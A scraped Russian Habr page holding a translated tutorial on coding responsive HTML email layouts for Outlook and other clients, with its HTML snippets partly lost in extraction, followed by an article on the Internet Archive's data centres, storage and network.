**Примечание:** для тегов условной таблицы стили отсутствуют. Я намерен применить инструмент для инлайнинга от Campaign Monitor [inliner.cm](http://inliner.cm/), он также выполняет инлайнинг стилей и для условных таблиц. Если вы собираетесь использовать другой инлайнер, то он может этого не сделать, поэтому удостоверьтесь что **cellpadding="0" cellspacing="0" border="0"** добавлены в условную таблицу Outlook.
Внутри нашей условной таблицы вы увидите что у нас имеется — это наш ключевой внешний строительный блок для всех клиентов кроме Outlook.
Мы хотим, чтобы эта внешняя таблица имела ширину в 100% на малых кранах, а на экранах большего размера — не более 600px. Поэтому мы намерены установить её width в 100% и задать ей max-width в 600px
*Для нашей таблицы установлена ширина в 100%, пока она не достигнет 600px*
**Полезный совет:** для быстрой и простой буферизации на мобильном устройстве без заморочек с паддингами и media queries измените ширину своей таблицы со 100% до 95%
Итак, давайте поместим эти стили в наш styles.css:
```
.outer {
Margin: 0 auto;
width: 100%;
max-width: 600px;
}
```
У нас здесь также есть **Margin: 0 auto;** чтобы отцентрировать нашу таблицу в Yahoo при просмотре в Chrome. **margin**, однако, применяется здесь только ради Yahoo, я всегда пишу **Margin** с большой буквы чтобы Outlook.com его не чистил — маленький изящный хак, спасибо [Wiktor за комментарий в этом блогпосте](https://www.campaignmonitor.com/blog/post/3921/outlook.com-drops-margin-and-float-support-entirely).
Теперь у нас есть внешняя структура, пришло время добавить какой-нибудь контент.
### 4. Добавление баннерного изображения в полную ширину
Сперва скачайте файлы обучающего материала и переместите папку /images в папку с index.html
Теперь давайте добавим класс **full-width-image** к **td** внутри нашей таблицы **.outer**, потом мы заменим наш заполнитель [content goes here] на тег **image**, таким образом наша таблица примет следующий вид:
```
| |
| --- |
| |
```
Вы обратите внимание, что я не побеспокоился об атрибутах **width** или **height** для изображения. Я собираюсь решить это с помощью CSS, который мы добавим, и он будет выглядеть следующим образом:
```
.full-width-image img {
width: 100%;
height: auto;
}
```
Это подводит нас к одному весьма важному нюансу в этом методе, который касается изображений.
#### ***Изображения всегда должны выводиться в размерах, соответствующих по физическим пикселям***
Этот метод всецело ориентирован на использование процентов дабы всё было подвижно и выглядело хорошо. Следовательно, нам практически всегда нужно, чтобы ширина наших изображений была установлена в 100% от своих контейнеров. Если мы хотим осуществить это, то должны помещать наши изображения, в размере, который соответствует по физическим пикселям. По той причине, что Outlook 2007, 2010 и 2013 не будут масштабировать (в большую или меньшую сторону) изображения по отношению к их физическим размерам, до тех пор пока вы явно не зададите пиксельную ширину оного. Если бы вы разместили изображение шириной в 1200px в ячейке шириной 600px и задали ему ширину в 100%, то Outlook вывел бы его шириной в 1200px. Поэтому, если у вас ячейка шириной в 600px (на декстопе), то вам необходимо применять изображение шириной в 600px.
Чтобы решить проблему с изображениями, размер которых менее поддерживаемой ширины экрана, вы можете явно задать им пиксельную ширину (например, 100px) и использовать изображения высокого разрешения, т. к. в приложениях без media-query их ширина всегда будет 100px что прекрасно смотрится в любом мобильном вьюпорте. Однако, если бы у вас был столбец шириной в 350px, то вы бы не смогли задать изображению ширину в 350px, поскольку, если бы вам пришлось вывести это изображение в Gmail app на вьюпорте шириной в 320px, то оно бы было слишком широким.
Часто необходимо удостоверится, что ширина всех изображений задана в 100%, даже если они у́же самого маленького мобильного вьюпорта, т. к. это даёт вам больше гибкости при добавлении прогрессивного улучшения в виде media query.
Моё практическое правило — всякое изображение должно выводиться в соответствующем по физическим пикселям размере, если только это не иконка шириной менее 100px
**Итак, принимая это всё во внимание,** мы сохранили изображение с именем header.jpg, шириной именно в 600px и разместили его в нашей директории images. Позаимствуйте его или сохраните своё собственное и теперь вы можете выполнить предпросмотр HTML файла и увидеть как изображение гибко меняет размер в зависимости от размера вьюпорта.
### 5. Добавление одностолбцового макета
Добавьте ещё одну строку в таблицу **.outer** с помощью следующей разметки:
```
|
| |
| --- |
| Lorem ipsum dolor sit amet
Maecenas sed ante pellentesque, posuere leo id, eleifend dolor. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Praesent laoreet malesuada cursus. Maecenas scelerisque congue eros eu posuere. Praesent in felis ut velit pretium lobortis rhoncus ut erat. |
|
```
И добавьте следующие стили в styles.css:
```
.inner {
padding: 10px;
}
p {
Margin: 0;
}
a {
color: #ee6a56;
text-decoration: underline;
}
.h1 {
font-size: 21px;
font-weight: bold;
Margin-bottom: 18px;
}
.h2 {
font-size: 18px;
font-weight: bold;
Margin-bottom: 12px;
}
/* One column layout */
.one-column .contents {
text-align: left;
}
.one-column p {
font-size: 14px;
Margin-bottom: 10px;
}
```
Вы обратите внимание, что я использовал теги и набор классов для их стилизации. Мне нравится применять абзацы для стилизации текста и вы можете легко ими управлять благодаря хаку с большой М в **Margin**, о котором я упоминал ранее. Я также применяю вместо , т. к. у Outlook.com есть кое-какие стили для h1, h2 и h3, которые всегда перекрывают ваши стили.
Таким образом в указанном выше CSS мы установили **10px** padding для нашего столбца, сбросили margin для , установили некоторые базовые стили для ссылок и моих классов .h1 и .h2, а затем обеспечили выравнивание по левому краю в стилизированных абзацах для нашего столбца.
Теперь перейдём к увлекательному этапу… множеству столбцов!
### 6. Добавление двухстолбцового макета\*
\*который будет отцентрирован при вертикальном складывании
*Мы намерены создать двухстолбцовый макет для декстопа, который на мобильных устройствах расположится вертикально, образуя единый отцентрированный столбец*
Сперва добавьте новую строку в таблицу **.outer**. Она содержит ячейку с классом **.two-column**, а внутри неё — условную таблицу для Outlook с двумя столбцами шириной в 50%:
```
|
[column to go here]
[column to go here]
|
```
Эти условные столбцы важны, поскольку без них Outlook не позволит двум нашим плавающим таблицам расположиться аккуратно рядышком. Поскольку Outlook к тому же не поддерживает **max-width**, эти столбцы помогают удерживать каждый столбец (*прим. пер.* имеется ввиду дочернее содержимое) в нужном размере.
*Визуализация того, что будет представлять из себя наша двухстолбцовая структура*
Теперь замените каждый заполнитель [column to go here] следующим:
```
| |
| --- |
|
[content goes here]
|
```
Способ с помощью которого мы намерены заставить два столбца плавать (параллельно) рядом на десктопе, но складываться вертикально по центру на мобильном устройстве, состоит в использовании комбинации **text-align: center** и **display: inline-block**. Все инлайновые и инлайн-блочные элементы подчиняются свойству text-align. Поэтому, если мы обернём наши таблицы в div с установленным inline-block, то мы сможем довольно просто задать их выравнивание (alignment), когда они расположены друг над другом — установкой свойства text-align для их контейнера. Вы можете выбрать выравнивание по левому краю, центру или правому краю и ваши инлайн-блочные divы будут «слушаться». И вы действительно сможете задать самой таблице **display: inline-block**, но только если не собираетесь размещать внутри неё какие-либо другие таблицы. Всё начинает вести себя дико, если вы вкладываете таблицы внутрь inline-block таблиц, поэтому, если вам необходимо что-то вложить, убедитесь что инлайн-блочным контейнером является div.
Давайте добавим нашей контейнерной ячейке стиль **.two-column** с выбранным нами выравниванием. Мы также собираемся добавить **font-size: 0** чтобы избавиться от пустых пространств между нашими столбцами внутри этой ячейки.
```
/*Two column layout*/
.two-column {
text-align: center;
font-size: 0;
}
```
Теперь мы зададим стиль нашему инлайн-блочному div, который ведёт себя как столбец:
```
.two-column .column {
width: 100%;
max-width: 300px;
display: inline-block;
vertical-align: top;
}
```
Мы используем ширину в 100% с максимальной шириной до 300px, таким образом, именно у этого столбца на вьюпортах с шириной менее 300px, будет 100% ширина.
Вы можете задать своему **vertical-align** что угодно: top, center или bottom. *[**примечание переводчика:** здесь, очевидно, ошибка — разве у **vertical-align** существует свойство **center**?]* Значение **top** для **vertical-align** задаёт поведение при котором каждый столбец ведёт себя сродни табличной ячейки с HTML-свойством **valign="top"**, соответственно **middle** даёт эффект подобный **valign="middle"**. Обратите внимание, что у вас может быть множество строк из этих div внутри одной ячейки и вертикальное выравнивание всегда будет следовать принципу ряда за рядом. Это замечательно! Также удостоверьтесь, что выбор, который вы совершили здесь, совпадает с **valign**, который вы установили для условной таблицы Outlook, т. к. Outlook не поддерживает **vertical-align**. Если у вас выравнивание в Outlook не соответствует ожидаемому, то распространённой причиной может быть отсутствие заданного значения **valign** для условной таблицы.
Далее мы добавим таблицу с двумя строками в каждый столбец. Это отвечает за изображения и соответствующий им снизу текст, когда всё располагается столбцом на мобильных устройствах.
Итак, давайте заменим наши два заполнителя [content goes here] следующим:
```
| |
| --- |
| |
|
Maecenas sed ante pellentesque, posuere leo id, eleifend dolor. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.
|
```
Здесь ширина наших изображений составляет 280px. Согласно тому, что обсуждалось выше, оно было сохранено в точных пиксельных размерах, чтобы соответствовать ячейке, в которую мы будем его размещать. Ширина каждого столбца составляет 300px с 10px паддингами на каждой стороне, что оставляет 280px для изображения.
Далее мы зададим стиль для класса **.contents**, установив ему ширину в 100%:
```
.contents {
width: 100%;
}
```
А затем давайте добавим наш стайлинг двухстолбцовому макету, чтобы задать размер нашего шрифта и выравнивание текста, обеспечить вывод изображений на 100% ширину и установить немного паддинга для нашего тексту снизу:
```
.two-column .contents {
font-size: 14px;
text-align: left;
}
.two-column img {
width: 100%;
height: auto;
}
.two-column .text {
padding-top: 10px;
}
```
Теперь у вас должен быть двухстолбцовый макет, который складывается столбцом по вертикали, когда вы меняете размер своего браузера, и сжимается должным образом, когда вы сужаете вьюпорт до менее 300px.
### 7. Добавление трёхстолбцового макета
И снова мы намерены создать расположенные рядом (бок о бок) столбцы, которые складываются вертикально на мобильном устройстве, с помощью комбинации **text-align: center** и **display: inline-block**.
Мы собираемся использовать **text-align: center** чтобы наши столбцы складывались по центру, но вы также можете применить выравнивание по левому или правому краю. Вот пример того, как складываются элементы при выравнивании по центру и по левому краю:
*пример того, как будут сложены 3 столбца при задании контейнеру text-align: center*
*пример того, как будут сложены 3 столбца при задании контейнеру text-align: left*
Итак, мы повторим двухстолбцовый процесс, с добавлением дополнительного. Добавьте данный новый ряд в таблицу **.outer**. (Я обычно предпочитаю использовать процентную ширину для ячеек в условных таблицах Outlook, но в данном случае будет проще задать для каждой ширину в 200).
```
|
[column to go here]
[column to go here]
[column to go here]
|
```
Теперь добавьте следующий CSS, чтобы задать дополнительный padding этому ряду и чтобы установить все свойства, которые мы использовали в двухстолбцовом макете, дабы заставить наши столбцы вести себя так, как нам это необходимо. Он также задаст стили для наших div столбцов, которые мы вскоре добавим, и ширина которых в данном случае будет составлять 200px.
```
/*Three column layout*/
.three-column {
text-align: center;
font-size: 0;
padding-top: 10px;
padding-bottom: 10px;
}
.three-column .column {
width: 100%;
max-width: 200px;
display: inline-block;
vertical-align: top;
}
.three-column .contents {
font-size: 14px;
text-align: center;
}
.three-column img {
width: 100%;
height: auto;
}
.three-column .text {
padding-top: 10px;
}
```
Давайте вставим наши столбцы, меняя каждый из заместителей [column to go here] на таблицу:
```
| | | |
| --- | --- | --- |
|
| |
| --- |
| |
|
Scelerisque congue eros eu posuere. Praesent in felis ut velit pretium lobortis rhoncus ut erat.
|
|
```
И вот оно! Теперь у вас должен быть трёхстолбцовый макет, столбцы которого будут складываться на узких вьюпортах.
Принимая во внимание тот факт, что у этого макета нечётное количество столбцов, иногда вы можете обнаружить, что у вас два столбца отображаются в верхнем ряду и только один — внизу. И хотя я считаю, что если вы создаёте дизайн для такого сценария, то это будет смотреться замечательно, всё же иногда это может выглядеть несколько несбалансировано. Зачастую лучшими способами решения этой проблемы являются либо выравнивание по левому краю; либо использование множества строк с тремя столбцами, в следствие этого, когда контент складывается вертикально на разрешениях среднего размера, в каждом ряду всё ещё будет присутствовать чётное количество столбцов.
#### **Добавление трёхстолбцового макета с множеством рядов**
Если вам нужно добавить *большее количество* рядов в свои многостолбцовые макеты, то вы можете добавить столько инлайн-блочных элементов в отдельную контейнерную ячейку, сколько вам необходимо. Таким образом, если вьюпорт становится слишком узок чтобы вмещать все столбцы, они просто пересортируются в соответствии со свободным местом.
И хотя вам нет нужды разделять ряды из divов для большинства клиентов, вам определённо необоходимо добавить дополнительные **|
| |** к своей условной таблице для Outlook.
*Вот как работает наша условная таблица для Outlook, разделяя наши ряды и столбцы*
Давайте испытаем это, добавив новый ряд с классом **.three-column** в таблицу **.outer**. Вот у нас ряд из трёх столбцов с условной таблицей внутри. Вы увидите, что в нашей таблице имеются три столбца и мы звершаем ряд условной таблицы с помощью и открываем новый **|
| |**, который содержит 3 другие ячейки шириной в 200px.
```
|
[column to go here]
[column to go here]
[column to go here]
[column to go here]
[column to go here]
[column to go here]
|
```
Далее, мы добавляем таблицу подобную следующей, каждой условной ячейке, убирая заместитель [column to go here]:
```
| |
| --- |
| Heading
Class eleifend aptent taciti sociosqu ad litora torquent conubia
[Read more](#) |
```
Теперь, если вы измените размер своего окна, вы снова увидите, что столбцы сложились, заполняя доступное пространство. Три столбца уменьшатся до двух столбцов с тремя строками, до тех пор пока окончательно не схлопнутся в единый столбец с шестью строками.
#### **Добавление ещё большего количества столбцов**
Мы больше не будем добавлять многостолбцовые макеты в данном учебном материале, но в вашем макете может быть столько столбцов, сколько угодно. Всё, что вам необходимо сделать — удостовериться, что все ваши блоки с контентом соответствуют ширине вашего контейнера, и что ваша условная таблица для Outlook содержит подходящее количество ячеек и рядов для вмещения оных.
### **Добавление двухстолбцового макета с 'Sidebar'**
Далее мы создадим двухстолбцовый макет с шириной столбца в 500px, а затем более узкую боковую панель шириной в 100px для иконки.
Сперва мы создадим ряд и ячейку с классом **.left-sidebar**, а внутри неё поместим условную таблицу для Outlook, в которой присутствует один ряд и два неравных столбца:
```
|
[column to go here]
[column to go here]
|
```
Затем, в каждом столбце, убирая заместитель [column to go here], мы добавим таблицу. В этот раз один из них мы назовём **.column .left**, а другой — **.column .right**, т. к. у них разная ширина.
**Примечание:** здесь я использую множество классов для одного элемента. Некоторые инструменты для инлайнинга и/или ESP могут этого не поддерживать, поэтому, сперва выполните проверку с помощью своей системы или платформы. Как было сказано выше, я использую inliner.cm для инлайнинга своего CSS, который точно поддерживает множество классов.
Добавьте левую таблицу в первый столбец, который содержит нашу иконку:
```
| |
| --- |
| |
```
Поскольку эти изображения настолько крошечны и нам всегда необходимо, чтобы они появлялись в одинаковом размере, спокойнее будет задать им пиксельную ширину.
Затем, добавьте правую таблицу, которая содержит текст и ссылку, во второй столбец:
```
| |
| --- |
|
Praesent laoreet malesuada cursus. Maecenas scelerisque congue eros eu posuere. Praesent in felis ut velit pretium lobortis rhoncus ut erat. [Read on](#) |
```
Эти таблицы весьма просты и внутри них ничего не вложено, поэтому, вместо того чтобы оборачивать их в div, я собираюсь задать **display: inline-block** для самих таблиц, чтобы сократить разметку. Как обсуждалось выше, станете ли вы вкладывать внутрь большее количество элементов — всего лишь вопрос практичности. Если вы будете реализовывать большое количество вложенностей, оберните эту таблицу в div и задайте ему класс **.column .right**
Далее, давайте зададим стили контейнеру и установим столбцы:
```
/* Left sidebar layout */
.left-sidebar {
text-align: center;
font-size: 0;
}
.left-sidebar .column {
width: 100%;
display: inline-block;
vertical-align: middle;
}
.left-sidebar .left {
max-width: 100px;
}
.left-sidebar .right {
max-width: 500px;
}
```
И, наконец, давайте зададим стили текста и цвет ссылки:
```
.left-sidebar .contents {
font-size: 14px;
text-align: center;
}
.left-sidebar a {
color: #85ab70;
}
```
Теперь у вас должен получиться макет с левой боковой панелью и, когда вы уменьшите размер браузера, иконка расположится сверху текста по середине.
### **9. Добавление макета с обратным 'Sidebar'**
Теперь мы хотим скопировать макет с боковой панелью и в этот раз нам необходимо чтобы иконка была с правой стороны, дабы создать визуальную привлекательность на десктопе. Но мы хотим чтобы контент на мобильном устройстве складывался столбцом точно так же, как и в нашем предыдущем макете с боковой панелью, дабы иконка была поверх текста.
Сначала мы намерены скопировать и вставить весь наш ряд с ячейкой **.left-sidebar**, и *единственное* что мы будем менять — это класс контейнерной ячейки, с **.left-sidebar** на **.right-sidebar**:
```
|
| |
| --- |
| |
| |
| --- |
|
Maecenas sed ante pellentesque, posuere leo id, eleifend dolor. Class aptent taciti sociosqu ad litora torquent per conubia nostra. [Per inceptos](#) |
|
```
Всё остальное остаётся в прежнем виде.
Мы собираемся сделать следующее: обратить dir="rtl" (это означает направление справа налево) себе в преимущество. Это свойство предназначено для обозначения алфавитов, которые размещаются справа налево, таких как арабский. Но в нашем случае оно просто будет указывать каждому почтовому клиенту, что наши элементы нужно выводить в обратном порядке.
*Наши элементы будут выводиться в обратном порядке, если для их контейнера установлен dir="rtl"*
Сперва, вам необходимо добавить **dir="rtl"** для контейнера (**.right-sidebar**). Это указывает, что наши плавающие таблицы нужно выводить справа налево. Таким образом, наш открывающий тег теперь должен принять следующий вид:
```
|
```
Затем, в условном коде для Outlook нам также необходимо добавить **dir="rtl"** для
, т. к. мы указываем таблице, что **|** нужно выводить в обратном порядке.
Итак, наш открывающий условный комментарий должен сейчас выглядеть следующим образом:
```
```
И, наконец, нам необходимо добавить **dir="ltr"** к нашим таблицам .column-left и .column-right, поскольку внутри них находится контент и, поскольку он на английском, его необходимо направлять слева направо. Если мы не установим это значение для данных элементов, они унаследуют направление справа налево от своих родительских элементов.
Наш **.column-left** теперь должен выглядеть следующим образом:
```
| |
| --- |
| |
```
А наш **.column-right** сейчас должен выглядеть так:
```
| |
| --- |
|
Maecenas sed ante pellentesque, posuere leo id, eleifend dolor. Class aptent taciti sociosqu ad litora torquent per conubia nostra. [Per inceptos](#) |
```
Таким образом, в итоге, весь наш ряд теперь должен принять следующий вид:
```
|
| |
| --- |
| |
| |
| --- |
|
Maecenas sed ante pellentesque, posuere leo id, eleifend dolor. Class aptent taciti sociosqu ad litora torquent per conubia nostra. [Per inceptos](#) |
|
```
И, наконец, давайте добавим наших стилей, которые полностью идентичны **.left-sidebar** за исключением ссылки.
```
/* Right sidebar layout */
.right-sidebar {
text-align: center;
font-size: 0;
}
.right-sidebar .column {
width: 100%;
display: inline-block;
vertical-align: middle;
}
.right-sidebar .left {
max-width: 100px;
}
.right-sidebar .right {
max-width: 500px;
}
.right-sidebar .contents {
font-size: 14px;
text-align: center;
}
.right-sidebar a {
color: #70bbd9;
}
```
Славно! Теперь у нас есть две панели на противоположных сторонах, но когда всё выстраивается в столбец на мобильном устройстве обе боковые панели выводятся над текстом.
### **10. Добавление прогрессивного улучшения с помощью Media Queries**
Теперь у вас есть завершённый почтовый шаблон, отзывчивый везде без единого media query! Но, конечно же, существует совсем немного почтовых клиентов, которым действительно нужна поддержка media queries, теперь, при помощи нескольких твиков, мы можем заняться прогрессивным улучшением нашего (и без того замечательного) шаблона, дабы всё выглядело красиво в таких клиентах как iOS Mail.
Сначала мы заставим наши столбцы выводиться на 100% ширины всякого вьюпорта с шириной до 400px. Мы также ограничим ширину наших трёхстолбцовых изображений до 50%, чтобы они не принимали слишком большой размер. Всё, что нам необходимо сделать — сбросить max-width этих столбцов, поскольку, как вы помните, у них у всех и так уже 100% ширина и их ограничивает лишь **max-width**.
Итак, добавьте следующее в свой CSS файл:
```
/*Media Queries*/
@media screen and (max-width: 400px) {
.two-column .column,
.three-column .column {
max-width: 100% !important;
}
.three-column img {
max-width: 50% !important;
}
}
```
Затем, для ширины между 401px и 600px, мы добавим следующее, чтобы двух и трёхстолбцовые макеты выводились как на декстопе, но при этом сжимались до подходящего размера.
```
@media screen and (min-width: 401px) and (max-width: 620px) {
.three-column .column {
max-width: 33% !important;
}
.two-column .column {
max-width: 50% !important;
}
}
```
Это — абсолютно произвольные изменения для демонстрации возможностей, вы можете играться и возиться с этим сколько угодно, чтобы добиться желаемого результата во всём разнообразии размеров устройств, которые поддерживают media queries.
### **11. Инлайнинг вашего кода**
Наконец, если вам нужно выполнить инлайнинг вашего кода, возьмите содержимое style.css и поместите его в своего документа index.html между тегами **</b> и <b>**. Затем, скопируйте и вставьте содержимое всего файла в рабочую область [inliner.cm](http://inliner.cm/) и дождитесь результатов. Как только закончится обработка, скопируйте содержимое рабочей области и можете начинать!
#### **И вот вы достигли результата!**
Отличная работа! Теперь у нас есть полноценный отзывчивый HTML email в котором менее 20 линий media queries.
##### **Несколько советов и примечаний напоследок**
* Я решил, что ключевыми особенностями данного метода разработки email являются простота и единообразие. Всё начинает выходить из под контроля, когда у вас разный padding для разных столбцов. Вы обратите внимание, что в данном учебном материале я везде выдерживал padding в 10px для класса **.inner**, который применяется к каждому отдельному макету. Это важно, т. к. вам необходимо чтобы padding был однородным при вертикальном построении на мобильном устройстве.
*Всегда выдерживайте равную величину padding по левой и правой стороне своих элементов, т. о. на мобильных клиентах без поддержки media query паддинг будет однородным*
* Иногда вам может понадобиться проводить расчёты, продвигаясь вовне, чтобы определить какой будет ширина вашей разметки, в зависимости от наилучшего постоянного значения padding, вместо того, чтобы исходить из внешней ширины, а затем продолжать свою работу во внутреннем направлении.
* Проектирование в браузере всегда будет хорошим подходом, поскольку нередко бывает очень отрудно адаптировать определённые проекты к работе с такой методикой.
* При использовании этого метода можно вполне спокойно начинать проектировать email, которые гораздо шире обычных, поскольку вы знаете, что шаблон перестроит себя, чтобы помещаться в малые вьюпорты, даже в вебмейл. Единственным подводным камнем является Outlook, которому всё ещё необходимы условные таблицы, чтобы всё выглядело замечательно, поэтому пользователи Outlook всегда будут видеть всё сообщение в наибольшей ширине. Даже не смотря на это, вам всё ещё нужно держать этот наименьший общий знаменать в уме, за пределами стандартных ограничений для email в 500-600px, которые мы обычно устанавливаем, ещё определённо имеется некоторое пространтво куда можно передвинуться.
* И, наконец, всегда проверяйте, что вы помещаете изображения в соответствующих по физическим пикселям размерах. Хорошим способом удостовериться, что вы всегда соблюдаете это правило, является создание кода для макета с последующим применением инспектора из браузерных инструментов для определения реальной величины финального пространства. Затем вы сможете убедиться, что ваше изображение создано именно с такими размерами. Не забывайте ещё раз проверить это в конце, просто чтобы убедиться что всё нормально. Если вы этого не сделаете, то Outlook любезно укажет вам на ошибку в ваших методиках, т. к. он выведет каждое отдельное изображение в его физических размерах.
###### **Иконки**
Ещё раз спасибо [Пьеру Бородину](https://dribbble.com/pierreborodin) за все иконки, которые испольозовались в моём учебном материале. | https://habr.com/ru/post/259793/ | null | ru | null |
# На каких серверах держится Архив Интернета?
*Фото 1. Один из дата-центров Internet Archive в Сан-Франциско*
[Internet Archive](https://archive.org/) — некоммерческая организация, которая с 1996 года сохраняет копии веб-страниц, графические материалы, видео- и аудиозаписи и программное обеспечение. Каждый может зайти в [Wayback Machine](https://archive.org/web/) и посмотреть, как выглядел [Хабр в 2006 году](https://web.archive.org/web/20060703164902/http://www.habrahabr.ru/) или [«Яндекс» в 1998 году](https://web.archive.org/web/19981206201051/http://yandex.ru/), хотя загрузка архивных копий занимает около минуты (это не для реализма 90-х, а по техническим причинам, см. ниже).
Архив быстро растёт. Сейчас объём всех накопителей достиг 200 петабайт. Но Internet Archive принципиально не обращается к стороннему хостингу или облачному сервису вроде AWS. У некоммерческой организации собственные дата-центры, свои серверы и свои инженеры. Это гораздо дешевле, чем услуги AWS.
Архив Интернета против облаков
==============================
Технические подробности серверного устройства Internet Archive [раскрыл](https://archive.org/details/jonah-edwards-presentation) Джона Эдвардс (Jonah Edwards), руководитель инженерной группы Core Infrastructure Team.
По его мнению, понятие «облако» многих людей вводит в заблуждение как нечто абстрактное. На самом деле это просто чужие компьютеры, то есть серверы посторонней компании. Для Internet Archive это неприемлемо. У организации собственные серверные в собственных зданиях, компьютеры принадлежат им, и персонал тоже свой.
*Четыре дата-центра Internet Archive располагаются в Сан-Франциско, Ричмонде и Редвуд-Сити (это пригороды Сан-Франциско)*
Кто-то может посчитать такой подход архаичным, но в некоторых случаях он действительно оправдан. В случае Internet Archive на то есть три причины: это дешевле, обеспечивает лучший контроль за серверами и даёт гарантию, что пользователей не отслеживают рекламные трекеры.
Деньги на обслуживание инфраструктуры и зарплаты сотрудникам собираются преимущественно за счёт пожертвований и грантов, годовой бюджет составляет около $10 млн.
Инфраструктура
==============
Что представляет собой инфраструктура, которой управляет Core Infrastructure Team? На февраль 2021 года цифры такие:
> * 750 серверов, возраст до 9 лет;
> * 1300 виртуальных машин;
> * 30 000 устройств хранения данных;
> * более 20 000 жёстких дисков в парах друг с другом (paired storage), обычно пара разнесена по дата-центрам или странам для надёжности;
> * общий объём накопителей почти 200 петабайт.
>
Разумеется, техника постепенно обновляется. На смену старым накопителям приходят новые. Например, маленькие диски на 2 и 3 терабайта полностью вышли из обращения в 2017 и 2018 годах, соответственно, а с прошлого года постоянно растёт доля дисков на 16 ТБ.
Как показано на графике ниже, несмотря на увеличение ёмкости накопителей, общее число HDD тоже постепенно растёт: за три года оно выросло с 15 тыс. до 20 тыс.
*Количество жёстких дисков разного объёма на серверах Internet Archive*
Диски реплицируются по дата-центрам, для производительности контент по запросу выдаётся одновременно со всех копий. Все элементы Архива представляют собой директории на дисках. Веб-страницы Wayback Machine хранятся в файлах WARC (Web ARChive, сжатые файлы Web Archive). При запросе отдельной страницы её нужно извлечь из середины архива WARC, а если страница требует загрузки дополнительных ресурсов, то процесс повторяется. Это одна из причин, почему полная загрузка страниц из Wayback Machine достигает 90 секунд, хотя закэшированные копии и популярный контент загружаются быстрее.
Для надёжности копии Архива хранятся не только в Сан-Франциско, но и ещё в нескольких локациях по всему миру, в том числе [в Амстердаме (Нидерланды) и Новой Александрийской библиотеке (Египет)](https://longnow.org/seminars/02011/nov/30/universal-access-all-knowledge/).
В 1996 году первые серверы Internet Archive подняли на недорогих компьютерах из стандартных комплектующих: по сути, на обычных десктопах под Linux. Хотя инфраструктура сильно выросла, в качестве операционной системы всегда использовали только Linux. С 2004 года все серверы перешли на Ubuntu, сейчас [продолжается миграция на Ubuntu 20.4 LTS (Focal Fossa)](http://blog.archive.org/2021/02/04/thank-you-ubuntu-and-linux-communities/).
Объём Архива
============
В последнее время объём Архива возрастает примерно на 25% в год, сейчас это соответствует 5−6 петабайтам в квартал. С учётом резервных копий нужно добавлять накопителей на 10−12 петабайт в квартал.
Одна копия Архива занимает более 45 петабайт, но на дисках и лентах хранится минимум две копии каждого объекта.
Как видно на графике вверху, обновление дискового массива происходит только за счёт моделей максимальной ёмкости. Например, в конце 2021 года планируется переход на диски по 20 ТБ, и тогда в серверы будут устанавливать только их. Остальные HDD постепенно доживают свой век, и их количество медленно снижается.
Internet Archive возлагает большие надежды на новые технологии записи данных, такие как [HAMR](https://en.wikipedia.org/wiki/Heat-assisted_magnetic_recording) (heat-assisted magnetic recording), чтобы ёмкость HDD увеличивалась ещё быстрее. Технология HAMR предусматривает предварительное нагревание магнитной поверхности лазером в процессе записи, что позволяет значительно уменьшить размеры магнитной области, хранящей один бит информации — и увеличить плотность записи. Нагрев выполняется с помощью лазера, который за 1 пс разогревает область записи до 100 °C.
Разработка этой технологии затянулась на 15 лет, но в январе 2021 года [были официально представлены](https://www.tomshardware.com/news/seagate-ships-hamr-hdds-increases-dual-actuator-shipments) первые диски HAMR на 20 ТБ. Пока что они официально поставляются только избранным клиентам в рамках фирменного сервиса Seagate Lyve, но вскоре должны появиться в свободной продаже.
Seagate обещает, что HAMR позволит наращивать ёмкость HDD на 20% в год. Поэтому в ближайшее время можно ожидать модель на 24 ТБ, а в будущем — диски на 30 и 50 ТБ. Internet Archive тоже надеется на это и внимательно следит за последними разработками.
На текущем размере дисков понадобится 15 вот таких серверных стоек, чтобы разместить одну копию Архива:
*У Internet Archive 750 серверов и 20 000 жёстких дисков*
Сейчас в дата-центрах установлено 75 серверных стоек, что обеспечивает некоторый запас и избыточное копирование.
По состоянию на февраль 2021 года на серверах хранились копии 534 млрд веб-страниц, 16 млн аудиозаписей, 8,7 млн видеозаписей фильмов, клипов и телепередач, 3,8 млн изображений, 629 тыс. компьютерных программ, более 29 млн книг и текстов, в том числе [72 771 текстов на русском языке](https://archive.org/search.php?query=(language:rus%20OR%20language:%22Russian%22)%20AND%20mediatype:texts).
[](https://habrastorage.org/webt/zq/ag/0v/zqag0veibzhl5uykvjrrpmerxxi.png)
Любой пользователь может создать аккаунт и добавить в архив медиафайлы.
Internet Archive поддерживает [API для внешних сервисов](https://archive.org/services/docs/api/). Например, сторонний сервис может забирать контент из хранилища и показывать его на своём сайте или в приложении. Можно строить собственные каталоги на базе этого хранилища, эксплуатируя IA просто как удалённый бесплатный хостинг файлов с хотлинками. Подобную модель использует книжный каталог [Open Library](https://openlibrary.org/) на базе Internet Archive. Хотлинки и модель подобной «эксплуатации» собственных ресурсов поощряется со стороны Архива. Кстати, аналогичные правила действуют в Wikimedia Commons: хотлинкинг разрешён и даже поощряется, что недавно вызвало [казус с фотографией цветка](https://phabricator.wikimedia.org/T273741): по непонятной причине ежедневно в сеть Wikimedia Commons поступало около 90 млн одинаковых запросов на получение одного файла `AsterNovi-belgii-flower-1mb.jpg`. Будем надеяться, что у Internet Archive таких инцидентов не случится.
Сеть
====
В 2020 году Internet Archive пережил серьёзный рост количества запросов и объёма внешнего трафика с 40 до 60 Гбит/с. Из-за пандемии коронавируса и самоизоляции ресурсы Архива стали более востребованы. Количество запросов росло так быстро, что в определённый момент маршрутизаторы Internet Archive перестали справляться с нагрузкой, пришлось делать апгрейд сетевой инфраструктуры быстрее, чем планировалось. Сейчас веб-сайт входит в топ-300 крупнейших сайтов интернета.
Работа на собственных серверах имеет и свои недостатки. Основные причины сбоев Internet Archive — обрывы оптоволокна из-за строительных работ в городе, сбои энергоснабжения, случайные провалы напряжения в сети. Впрочем, прошлый год сайт завершил с аптаймом 99,9%.
Internet Archive планирует расширять внешний канал. Ожидается, что в ближайшее время внешний трафик вырастет до 80 Гбит/с.
Примерно так выглядит дизайн внутренней сети:
Дата-центры подключены к нескольким провайдерам первого уровня (Tier 1) и соединены между собой по оптоволокну с применением технологии плотного спектрального уплотнения (DWDM). Локальные университетские сети подключаются к этому кольцу напрямую через локальные точки обмена трафиком.
Вместо нынешнего оптоволокна планируется проложить пары 100-гигабитных кабелей по всему кольцу из четырёх дата-центров, так что внешний трафик тоже можно будет увеличить до 100 Гбит/с.
